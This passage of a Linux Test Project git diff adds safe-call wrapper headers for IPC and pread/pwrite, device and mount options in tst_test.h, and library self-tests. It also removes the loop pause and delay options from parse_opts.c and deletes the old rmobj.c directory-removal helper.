+	safe_gethostname(__FILE__, __LINE__, name, size)
+
 #endif /* TST_SAFE_NET_H__ */
diff --git a/include/tst_safe_posix_ipc.h b/include/tst_safe_posix_ipc.h
new file mode 100644
index 0000000..b089f01
--- /dev/null
+++ b/include/tst_safe_posix_ipc.h
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 Petr Vorel pvorel@suse.cz
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of version 2 of the GNU General Public License as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it would be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * Further, this software is distributed without any warranty that it is
+ * free of the rightful claim of any third person regarding infringement
+ * or the like.  Any license provided herein, whether implied or
+ * otherwise, applies only to this software file.  Patent licenses, if
+ * any, provided herein do not apply to combinations of this program with
+ * other software, or any other product whatsoever.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+
+#ifndef TST_SAFE_POSIX_IPC_H__
+#define TST_SAFE_POSIX_IPC_H__
+
+#include <mqueue.h>
+#include <stdarg.h>
+
+#define SAFE_MQ_OPEN(pathname, oflags, ...) \
+	safe_mq_open(__FILE__, __LINE__, (pathname), (oflags), ##__VA_ARGS__)
+
+static inline int safe_mq_open(const char *file, const int lineno,
+			       const char *pathname, int oflags, ...)
+{
+	va_list ap;
+	int rval;
+	mode_t mode;
+	struct mq_attr *attr;
+
+	va_start(ap, oflags);
+
+	/* Android's NDK's mode_t is smaller than an int, which results in
+	 * SIGILL here when passing the mode_t type.
+	 */
+#ifndef ANDROID
+	mode = va_arg(ap, mode_t);
+#else
+	mode = va_arg(ap, int);
+#endif
+
+	attr = va_arg(ap, struct mq_attr *);
+
+	va_end(ap);
+
+	rval = mq_open(pathname, oflags, mode, attr);
+	if (rval == -1) {
+		tst_brk(TBROK | TERRNO, "%s:%d: mq_open(%s,%d,0%o,%p) failed",
+			 file, lineno, pathname, oflags, mode, attr);
+	}
+
+	return rval;
+}
+
+#endif /* TST_SAFE_POSIX_IPC_H__ */
diff --git a/include/tst_safe_prw.h b/include/tst_safe_prw.h
new file mode 100644
index 0000000..f824c07
--- /dev/null
+++ b/include/tst_safe_prw.h
@@ -0,0 +1,60 @@
+/*
+ * Copyright (c) 2010-2017 Linux Test Project
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef TST_SAFE_PRW_H__
+#define TST_SAFE_PRW_H__
+
+static inline ssize_t safe_pread(const char *file, const int lineno,
+		char len_strict, int fildes, void *buf, size_t nbyte,
+		off_t offset)
+{
+	ssize_t rval;
+
+	rval = pread(fildes, buf, nbyte, offset);
+
+	if (rval == -1 || (len_strict && (size_t)rval != nbyte)) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			 "pread(%d,%p,%zu,%lld) failed",
+			 fildes, buf, nbyte, (long long)offset);
+	}
+
+	return rval;
+}
+#define SAFE_PREAD(len_strict, fildes, buf, nbyte, offset) \
+	safe_pread(__FILE__, __LINE__, (len_strict), (fildes), \
+	           (buf), (nbyte), (offset))
+
+static inline ssize_t safe_pwrite(const char *file, const int lineno,
+		char len_strict, int fildes, const void *buf, size_t nbyte,
+		off_t offset)
+{
+	ssize_t rval;
+
+	rval = pwrite(fildes, buf, nbyte, offset);
+	if (rval == -1 || (len_strict && (size_t)rval != nbyte)) {
+		tst_brk_(file, lineno, TBROK | TERRNO,
+			 "pwrite(%d,%p,%zu,%lld) failed",
+			 fildes, buf, nbyte, (long long)offset);
+	}
+
+	return rval;
+}
+#define SAFE_PWRITE(len_strict, fildes, buf, nbyte, offset) \
+	safe_pwrite(__FILE__, __LINE__, (len_strict), (fildes), \
+	            (buf), (nbyte), (offset))
+
+#endif /* SAFE_PRW_H__ */
diff --git a/include/tst_safe_pthread.h b/include/tst_safe_pthread.h
index 810ddcb..0242d4c 100644
--- a/include/tst_safe_pthread.h
+++ b/include/tst_safe_pthread.h
@@ -18,6 +18,20 @@
 #ifndef TST_SAFE_PTHREAD_H__
 #define TST_SAFE_PTHREAD_H__
 
+/*
+ * Macro to use for making functions called only once in
+ * multi-threaded tests such as init or cleanup function.
+ * The first call to @name_fn function by any thread shall
+ * call the @exec_fn. Subsequent calls shall not call @exec_fn.
+ * *_fn functions must not take any arguments.
+ */
+#define TST_DECLARE_ONCE_FN(name_fn, exec_fn)				\
+	void name_fn(void)						\
+	{								\
+		static pthread_once_t ltp_once = PTHREAD_ONCE_INIT;	\
+		pthread_once(&ltp_once, exec_fn);			\
+	}
+
 int safe_pthread_create(const char *file, const int lineno,
 			pthread_t *thread_id, const pthread_attr_t *attr,
 			void *(*thread_fn)(void *), void *arg);
diff --git a/include/tst_safe_sysv_ipc.h b/include/tst_safe_sysv_ipc.h
new file mode 100644
index 0000000..cbdefb9
--- /dev/null
+++ b/include/tst_safe_sysv_ipc.h
@@ -0,0 +1,42 @@
+/*
+ * Copyright (c) 2017 Xiao yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef TST_SAFE_SYSV_IPC_H__
+#define TST_SAFE_SYSV_IPC_H__
+
+int safe_msgget(const char *file, const int lineno, key_t key, int msgflg);
+#define SAFE_MSGGET(key, msgflg) \
+	safe_msgget(__FILE__, __LINE__, (key), (msgflg))
+
+int safe_msgsnd(const char *file, const int lineno, int msqid, const void *msgp,
+		size_t msgsz, int msgflg);
+#define SAFE_MSGSND(msqid, msgp, msgsz, msgflg) \
+	safe_msgsnd(__FILE__, __LINE__, (msqid), (msgp), (msgsz), (msgflg))
+
+ssize_t safe_msgrcv(const char *file, const int lineno, int msqid, void *msgp,
+		size_t msgsz, long msgtyp, int msgflg);
+#define SAFE_MSGRCV(msqid, msgp, msgsz, msgtyp, msgflg) \
+	safe_msgrcv(__FILE__, __LINE__, (msqid), (msgp), (msgsz), (msgtyp), (msgflg))
+
+int safe_msgctl(const char *file, const int lineno, int msqid, int cmd,
+		struct msqid_ds *buf);
+#define SAFE_MSGCTL(msqid, cmd, buf) do { \
+	safe_msgctl(__FILE__, __LINE__, (msqid), (cmd), (buf)); \
+	(msqid) = ((cmd) == IPC_RMID ? -1 : (msqid)); \
+	} while (0)
+
+#endif /* TST_SAFE_SYSV_IPC_H__ */
diff --git a/include/tst_sig_proc.h b/include/tst_sig_proc.h
new file mode 100644
index 0000000..fb7f93f
--- /dev/null
+++ b/include/tst_sig_proc.h
@@ -0,0 +1,22 @@
+/*
+ * Copyright (c) 2016 Linux Test Project
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ */
+
+#ifndef TST_SIG_PROC_H__
+#define TST_SIG_PROC_H__
+
+#include <sys/types.h>
+
+pid_t create_sig_proc(int sig, int count, unsigned int usec);
+
+#endif	/* TST_SIG_PROC_H__ */
diff --git a/include/tst_test.h b/include/tst_test.h
index 7d0cff8..335c826 100644
--- a/include/tst_test.h
+++ b/include/tst_test.h
@@ -18,6 +18,10 @@
 #ifndef TST_TEST_H__
 #define TST_TEST_H__
 
+#ifdef __TEST_H__
+# error Oldlib test.h already included
+#endif /* __TEST_H__ */
+
 #include <unistd.h>
 
 #include "tst_common.h"
@@ -32,6 +36,8 @@
 #include "tst_process_state.h"
 #include "tst_atomic.h"
 #include "tst_kvercmp.h"
+#include "tst_clone.h"
+#include "tst_kernel.h"
 
 /*
  * Reports testcase result.
@@ -43,13 +49,20 @@
 #define tst_res(ttype, arg_fmt, ...) \
 	tst_res_(__FILE__, __LINE__, (ttype), (arg_fmt), ##__VA_ARGS__)
 
+void tst_resm_hexd_(const char *file, const int lineno, int ttype,
+	const void *buf, size_t size, const char *arg_fmt, ...)
+	__attribute__ ((format (printf, 6, 7)));
+
+#define tst_res_hexd(ttype, buf, size, arg_fmt, ...) \
+	tst_resm_hexd_(__FILE__, __LINE__, (ttype), (buf), (size), \
+			(arg_fmt), ##__VA_ARGS__)
+
 /*
  * Reports result and exits a test.
  */
 void tst_brk_(const char *file, const int lineno, int ttype,
               const char *fmt, ...)
-              __attribute__ ((format (printf, 4, 5)))
-              __attribute__ ((noreturn));
+              __attribute__ ((format (printf, 4, 5)));
 
 #define tst_brk(ttype, arg_fmt, ...) \
 	tst_brk_(__FILE__, __LINE__, (ttype), (arg_fmt), ##__VA_ARGS__)
@@ -58,10 +71,19 @@
 #define SAFE_FORK() \
 	safe_fork(__FILE__, __LINE__)
 
+#define TST_TRACE(expr)	                                            \
+	({int ret = expr;                                           \
+	  ret != 0 ? tst_res(TINFO, #expr " failed"), ret : ret; }) \
+
 #include "tst_safe_macros.h"
 #include "tst_safe_file_ops.h"
 #include "tst_safe_net.h"
-#include "tst_safe_pthread.h"
+
+/*
+ * Wait for all children and exit with TBROK if
+ * any of them returned a non-zero exit status.
+ */
+void tst_reap_children(void);
 
 struct tst_option {
 	char *optstr;
@@ -69,6 +91,17 @@
 	char *help;
 };
 
+/*
+ * Options parsing helpers.
+ *
+ * If str is NULL these are No-op.
+ *
+ * On failure non-zero (errno) is returned.
+ */
+int tst_parse_int(const char *str, int *val, int min, int max);
+int tst_parse_long(const char *str, long *val, long min, long max);
+int tst_parse_float(const char *str, float *val, float min, float max);
+
 struct tst_test {
 	/* test id usually the same as test filename without file suffix */
 	const char *tid;
@@ -84,6 +117,23 @@
 	int forks_child:1;
 	int needs_device:1;
 	int needs_checkpoints:1;
+	int format_device:1;
+	int mount_device:1;
+
+	/* Minimal device size in megabytes */
+	unsigned int dev_min_size;
+
+	/* Device filesystem type override NULL == default */
+	const char *dev_fs_type;
+
+	/* Options passed to SAFE_MKFS() when format_device is set */
+	const char *const *dev_fs_opts;
+	const char *dev_extra_opt;
+
+	/* Device mount options, used if mount_device is set */
+	const char *mntpoint;
+	unsigned int mnt_flags;
+	void *mnt_data;
 
 	/* override default timeout per test run */
 	unsigned int timeout;
@@ -132,6 +182,8 @@
 
 static struct tst_test test;
 
+void tst_set_timeout(unsigned int timeout);
+
 int main(int argc, char *argv[])
 {
 	tst_run_tcases(argc, argv, &test);
@@ -139,10 +191,9 @@
 
 #endif /* TST_NO_DEFAULT_MAIN */
 
-#define TST_TEST_TCONF(message)                                           \
-	static void tst_do_test(void) { tst_brk(TCONF, "%s", message); }; \
-        static struct tst_test test = { .test_all = tst_do_test }         \
-
+#define TST_TEST_TCONF(message)                                              \
+        static void tst_do_test(void) { tst_brk(TCONF, "%s", message); };    \
+        static struct tst_test test = { .test_all = tst_do_test, .tid = "" } \
 /*
  * This is a hack to make the testcases link without defining TCID
  */
diff --git a/lib/Makefile b/lib/Makefile
index 24d1faa..bfbdf25 100644
--- a/lib/Makefile
+++ b/lib/Makefile
@@ -17,16 +17,20 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
-CFLAGS			+= -I.
+CFLAGS			+= -I. -DLTPLIB
 
-FILTER_OUT_LIBSRCS	:= mount_utils.c
+ifneq ($(ANDROID),1)
+FILTER_OUT_DIRS		+= android_libpthread android_librt
+else
+FILTER_OUT_LIBSRCS	+= tlibio.c tst_path_has_mnt_flags.c
+endif
 
 LIB			:= libltp.a
 
diff --git a/lib/newlib_tests/.gitignore b/lib/newlib_tests/.gitignore
index ea19310..8e12007 100644
--- a/lib/newlib_tests/.gitignore
+++ b/lib/newlib_tests/.gitignore
@@ -11,3 +11,7 @@
 test11
 test12
 test13
+test14
+tst_device
+tst_safe_fileops
+tst_res_hexd
diff --git a/lib/newlib_tests/Makefile b/lib/newlib_tests/Makefile
index 0e4eeb8..e9976e5 100644
--- a/lib/newlib_tests/Makefile
+++ b/lib/newlib_tests/Makefile
@@ -8,4 +8,9 @@
 test08: CFLAGS+=-pthread
 test09: CFLAGS+=-pthread
 
+ifeq ($(ANDROID),1)
+FILTER_OUT_MAKE_TARGETS	+= test08
+endif
+
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/lib/newlib_tests/test03.c b/lib/newlib_tests/test03.c
index c1983ad..d5772a8 100644
--- a/lib/newlib_tests/test03.c
+++ b/lib/newlib_tests/test03.c
@@ -28,6 +28,6 @@
 }
 
 static struct tst_test test = {
-	.tid = "test02",
+	.tid = "test03",
 	.test_all = do_test,
 };
diff --git a/lib/newlib_tests/test08.c b/lib/newlib_tests/test08.c
index ea8dd02..77d530e 100644
--- a/lib/newlib_tests/test08.c
+++ b/lib/newlib_tests/test08.c
@@ -51,6 +51,8 @@
 	tst_res(TINFO, "Thread %ld waiting...", (long)id);
 	pthread_barrier_wait(&barrier);
 	tst_brk(TBROK, "Failure %ld", (long)id);
+
+	return NULL;
 }
 
 static void do_test(void)
diff --git a/lib/newlib_tests/test14.c b/lib/newlib_tests/test14.c
new file mode 100644
index 0000000..4d94978
--- /dev/null
+++ b/lib/newlib_tests/test14.c
@@ -0,0 +1,45 @@
+/*
+ * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation,
+ * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+#include "tst_test.h"
+#include "tst_safe_stdio.h"
+#include "tst_safe_net.h"
+
+static void cleanup(void)
+{
+	int i;
+
+	tst_brk(TBROK, "TBROK in cleanup");
+	SAFE_OPEN("foo", O_RDWR);
+	SAFE_FILE_SCANF("foo", "%i", &i);
+	SAFE_TOUCH("doo/foo", 0777, NULL);
+	SAFE_FOPEN("foo", "r");
+	SAFE_SOCKET(AF_UNIX, SOCK_STREAM, -1);
+	tst_res(TINFO, "Test still here");
+}
+
+static void do_test(void)
+{
+	tst_res(TPASS, "Passed");
+}
+
+static struct tst_test test = {
+	.tid = "test14",
+	.test_all = do_test,
+	.cleanup = cleanup,
+};
diff --git a/lib/newlib_tests/tst_device.c b/lib/newlib_tests/tst_device.c
new file mode 100644
index 0000000..9bcdce1
--- /dev/null
+++ b/lib/newlib_tests/tst_device.c
@@ -0,0 +1,52 @@
+/*
+ * Copyright (c) 2016 Linux Test Project
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <stdlib.h>
+#include <sys/mount.h>
+#include <stdint.h>
+
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	int fd;
+	const char *dev;
+	uint64_t ltp_dev_size;
+
+	dev = tst_device->dev;
+	if (!dev)
+		tst_brk(TCONF, "Failed to acquire test device");
+
+	SAFE_MKFS(dev, "ext2", NULL, NULL);
+
+	fd = SAFE_OPEN(dev, O_RDONLY);
+	SAFE_IOCTL(fd, BLKGETSIZE64, &ltp_dev_size);
+	SAFE_CLOSE(fd);
+
+	if (ltp_dev_size/1024/1024 == 300)
+		tst_res(TPASS, "Got expected device size");
+	else
+		tst_res(TFAIL, "Got unexpected device size");
+}
+
+static struct tst_test test = {
+	.tid = "tst_device",
+	.needs_tmpdir = 1,
+	.needs_device = 1,
+	.dev_min_size = 300,
+	.test_all = do_test,
+};
diff --git a/lib/newlib_tests/tst_res_hexd.c b/lib/newlib_tests/tst_res_hexd.c
new file mode 100644
index 0000000..333ea56
--- /dev/null
+++ b/lib/newlib_tests/tst_res_hexd.c
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2016 Linux Test Project
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <stdio.h>
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	char tmp[] = "Hello from tst_res_hexd";
+
+	tst_res_hexd(TPASS, tmp, sizeof(tmp), "%s%d", "dump", 1);
+}
+
+static struct tst_test test = {
+	.tid = "tst_res_hexd",
+	.test_all = do_test,
+};
diff --git a/lib/newlib_tests/tst_safe_fileops.c b/lib/newlib_tests/tst_safe_fileops.c
new file mode 100644
index 0000000..bdf4e9d
--- /dev/null
+++ b/lib/newlib_tests/tst_safe_fileops.c
@@ -0,0 +1,40 @@
+/*
+ * Copyright (c) 2016 Linux Test Project
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <stdio.h>
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	long free;
+	long nproc;
+	long dummy;
+
+	SAFE_FILE_LINES_SCANF("/proc/meminfo", "MemFree: %ld", &free);
+	if (FILE_LINES_SCANF("/proc/stat", "processes %ld", &nproc))
+		tst_brk(TBROK, "Could not parse processes");
+	tst_res(TPASS, "Free: %ld, nproc: %ld", free, nproc);
+
+	if (FILE_LINES_SCANF("/proc/stat", "non-existent %ld", &dummy))
+		tst_res(TPASS, "non-existent not found");
+	SAFE_FILE_LINES_SCANF("/proc/stat", "non-existent %ld", &dummy);
+}
+
+static struct tst_test test = {
+	.tid = "tst_safe_fileops",
+	.test_all = do_test,
+};
diff --git a/lib/parse_opts.c b/lib/parse_opts.c
index 3f8b78f..3a879e4 100644
--- a/lib/parse_opts.c
+++ b/lib/parse_opts.c
@@ -51,13 +51,10 @@
 #endif
 
 /* Define flags and args for standard options */
-static int STD_PAUSE = 0;	/* flag indicating to pause before actual start, */
-    /* for contention mode */
 static int STD_INFINITE = 0;	/* flag indciating to loop forever */
 int STD_LOOP_COUNT = 1;		/* number of iterations */
 
 static float STD_LOOP_DURATION = 0.0;	/* duration value in fractional seconds */
-static float STD_LOOP_DELAY = 0.0;	/* loop delay value in fractional seconds */
 
 static char **STD_opt_arr = NULL;	/* array of option strings */
 static int STD_argind = 1;	/* argv index to next argv element */
@@ -90,8 +87,6 @@
 	{"h", "  -h      Show this help screen\n", NULL, NULL},
 	{"i:", "  -i n    Execute test n times\n", NULL, NULL},
 	{"I:", "  -I x    Execute test for x seconds\n", NULL, NULL},
-	{"p", "  -p      Pause for SIGUSR1 before starting\n", NULL, NULL},
-	{"P:", "  -P x    Pause for x seconds between iterations\n", NULL, NULL},
 #ifdef UCLINUX
 	{"C:",
 	      "  -C ARG  Run the child process with arguments ARG (for internal use)\n",
@@ -213,19 +208,12 @@
 			if (STD_LOOP_COUNT == 0)
 				STD_INFINITE = 1;
 			break;
-		case 'P':	/* Delay between iterations */
-			options |= OPT_delay;
-			STD_LOOP_DELAY = atof(optarg);
-			break;
 		case 'I':	/* Time duration */
 			options |= OPT_duration;
 			STD_LOOP_DURATION = atof(optarg);
 			if (STD_LOOP_DURATION == 0.0)
 				STD_INFINITE = 1;
 			break;
-		case 'p':	/* Pause for SIGUSR1 */
-			STD_PAUSE = 1;
-			break;
 		case 'h':	/* Help */
 			print_help(uhf);
 			exit(0);
@@ -345,20 +333,6 @@
 			}
 		}
 	}
-	/*
-	 * If the USC_LOOP_DELAY environmental variable is set,
-	 * use that number as delay in factional seconds (same as -P option).
-	 * The -P option with arg will be used even if this env var is set.
-	 */
-	if (!(options & OPT_delay) && (ptr = getenv(USC_LOOP_DELAY)) != NULL) {
-		if (sscanf(ptr, "%f", &ftmp) == 1 && ftmp >= 0.0) {
-			STD_LOOP_DELAY = ftmp;
-			if (Debug)
-				printf
-				    ("Using env %s, set STD_LOOP_DELAY = %f\n",
-				     USC_LOOP_DELAY, ftmp);
-		}
-	}
 
 	/*
 	 * The following are special system testing envs to turn on special
@@ -465,46 +439,20 @@
 #if UNIT_TEST
 	printf("The following variables after option and env parsing:\n");
 	printf("STD_LOOP_DURATION   = %f\n", STD_LOOP_DURATION);
-	printf("STD_LOOP_DELAY      = %f\n", STD_LOOP_DELAY);
 	printf("STD_LOOP_COUNT      = %d\n", STD_LOOP_COUNT);
 	printf("STD_INFINITE        = %d\n", STD_INFINITE);
-	printf("STD_PAUSE           = %d\n", STD_PAUSE);
 #endif
 
 	return NULL;
 }
 
-/*
- * routine to goto when we get the SIGUSR1 for STD_PAUSE
- */
-static void STD_go(int sig)
-{
-	(void)sig;
-	return;
-}
-
 /***********************************************************************
  * This function will do desired end of global setup test
  * hooks.
- * Currently it will only do a pause waiting for sigusr1 if
- * STD_PAUSE is set.
- *
  ***********************************************************************/
 int usc_global_setup_hook(void)
 {
 #ifndef UCLINUX
-	/* temp variable to store old signal action to be restored after pause */
-	int (*_TMP_FUNC) (void);
-
-	/*
-	 * pause waiting for sigusr1.
-	 */
-	if (STD_PAUSE) {
-		_TMP_FUNC = (int (*)())signal(SIGUSR1, STD_go);
-		pause();
-		signal(SIGUSR1, (void (*)())_TMP_FUNC);
-	}
-
 	if (STD_TP_sbrk || STD_LP_sbrk)
 		STD_start_break = sbrk(0);	/* get original sbreak size */
 
@@ -548,8 +496,6 @@
 {
 	static int first_time = 1;
 	static uint64_t stop_time = 0;
-	static uint64_t delay;
-	uint64_t ct, end;
 	int keepgoing = 0;
 
 	/*
@@ -569,39 +515,6 @@
 			    (uint64_t) (USECS_PER_SEC * STD_LOOP_DURATION)
 			    + get_current_time();
 		}
-
-		/*
-		 * If doing delay each iteration, calcuate the number
-		 * of clocks for each delay.
-		 */
-		if (STD_LOOP_DELAY)
-			delay = USECS_PER_SEC * STD_LOOP_DELAY;
-	}
-
-	/*
-	 * if delay each iteration, loop for delay clocks.
-	 * This will not be done on first iteration.
-	 * The delay will happen before determining if
-	 * there will be another iteration.
-	 */
-	else if (STD_LOOP_DELAY) {
-		ct = get_current_time();
-		end = ct + delay;
-		while (ct < end) {
-			/*
-			 * The following are special test hooks in the delay loop.
-			 */
-			if (STD_LD_recfun) {
-				if (Debug)
-					printf
-					    ("calling usc_recressive_func(0, %d, *STD_bigstack)\n",
-					     STD_LD_recfun);
-				usc_recressive_func(0, STD_LD_recfun,
-						    *STD_bigstack);
-			}
-
-			ct = get_current_time();
-		}
 	}
 
 	if (STD_INFINITE)
diff --git a/lib/rmobj.c b/lib/rmobj.c
deleted file mode 100644
index a9de59c..0000000
--- a/lib/rmobj.c
+++ /dev/null
@@ -1,211 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- */
-
-/* $Id: rmobj.c,v 1.5 2009/07/20 10:59:32 vapier Exp $ */
-
-/**********************************************************
- *
- *    OS Testing - Silicon Graphics, Inc.
- *
- *    FUNCTION NAME     : rmobj()
- *
- *    FUNCTION TITLE    : Remove an object
- *
- *    SYNOPSIS:
- *      int rmobj(char *obj, char **errmsg)
- *
- *    AUTHOR            : Kent Rogers
- *
- *    INITIAL RELEASE   : UNICOS 7.0
- *
- *    USER DESCRIPTION
- *      This routine will remove the specified object.  If the specified
- *      object is a directory, it will recursively remove the directory
- *      and everything underneath it.  It assumes that it has privilege
- *      to remove everything that it tries to remove.  If rmobj() encounters
- *      any problems, and errmsg is not NULL, errmsg is set to point to a
- *      string explaining the error.
- *
- *    DETAILED DESCRIPTION
- *      Allocate space for the directory and its contents
- *      Open the directory to get access to what is in it
- *      Loop through the objects in the directory:
- *        If the object is not "." or "..":
- *          Determine the file type by calling lstat()
- *          If the object is not a directory:
- *            Remove the object with unlink()
- *         Else:
- *            Call rmobj(object) to remove the object's contents
- *            Determine the link count on object by calling lstat()
- *            If the link count >= 3:
- *              Remove the directory with unlink()
- *            Else
- *               Remove the directory with rmdir()
- *      Close the directory and free the pointers
- *
- *    RETURN VALUE
- *      If there are any problems, rmobj() will set errmsg (if it was not
- *      NULL) and return -1.  Otherwise it will return 0.
- *
- ************************************************************/
-#define _GNU_SOURCE
-#include <errno.h>		/* for errno */
-#include <stdio.h>		/* for NULL */
-#include <stdlib.h>		/* for malloc() */
-#include <string.h>		/* for string function */
-#include <limits.h>		/* for PATH_MAX */
-#include <sys/types.h>		/* for opendir(), readdir(), closedir(), stat() */
-#include <sys/stat.h>		/* for [l]stat() */
-#include <fcntl.h>
-#include <dirent.h>		/* for opendir(), readdir(), closedir() */
-#include <unistd.h>		/* for rmdir(), unlink() */
-#include "rmobj.h"
-
-#define SYSERR strerror(errno)
-
-int rmobj(char *obj, char **errmsg)
-{
-	int ret_val = 0;	/* return value from this routine */
-	DIR *dir;		/* pointer to a directory */
-	struct dirent *dir_ent;	/* pointer to directory entries */
-	char dirobj[PATH_MAX];	/* object inside directory to modify */
-	struct stat statbuf;	/* used to hold stat information */
-	static char err_msg[1024];	/* error message */
-	int fd;
-
-	/* Determine the file type */
-
-	fd = open(obj, O_DIRECTORY | O_NOFOLLOW);
-	if (fd != -1) {
-		close(fd);
-		/* object is a directory */
-
-		/* Do NOT perform the request if the directory is "/" */
-		if (!strcmp(obj, "/")) {
-			if (errmsg != NULL) {
-				sprintf(err_msg, "Cannot remove /");
-				*errmsg = err_msg;
-			}
-			return -1;
-		}
-
-		/* Open the directory to get access to what is in it */
-		if ((dir = opendir(obj)) == NULL) {
-			if (rmdir(obj) != 0) {
-				if (errmsg != NULL) {
-					sprintf(err_msg,
-						"rmdir(%s) failed; errno=%d: %s",
-						obj, errno, SYSERR);
-					*errmsg = err_msg;
-				}
-				return -1;
-			} else {
-				return 0;
-			}
-		}
-
-		/* Loop through the entries in the directory, removing each one */
-		for (dir_ent = (struct dirent *)readdir(dir);
-		     dir_ent != NULL; dir_ent = (struct dirent *)readdir(dir)) {
-
-			/* Don't remove "." or ".." */
-			if (!strcmp(dir_ent->d_name, ".")
-			    || !strcmp(dir_ent->d_name, ".."))
-				continue;
-
-			/* Recursively call this routine to remove the current entry */
-			sprintf(dirobj, "%s/%s", obj, dir_ent->d_name);
-			if (rmobj(dirobj, errmsg) != 0)
-				ret_val = -1;
-		}
-
-		/* Close the directory */
-		closedir(dir);
-
-		/* If there were problems removing an entry, don't attempt to
-		   remove the directory itself */
-		if (ret_val == -1)
-			return -1;
-
-		/* Get the link count, now that all the entries have been removed */
-		if (lstat(obj, &statbuf) < 0) {
-			if (errmsg != NULL) {
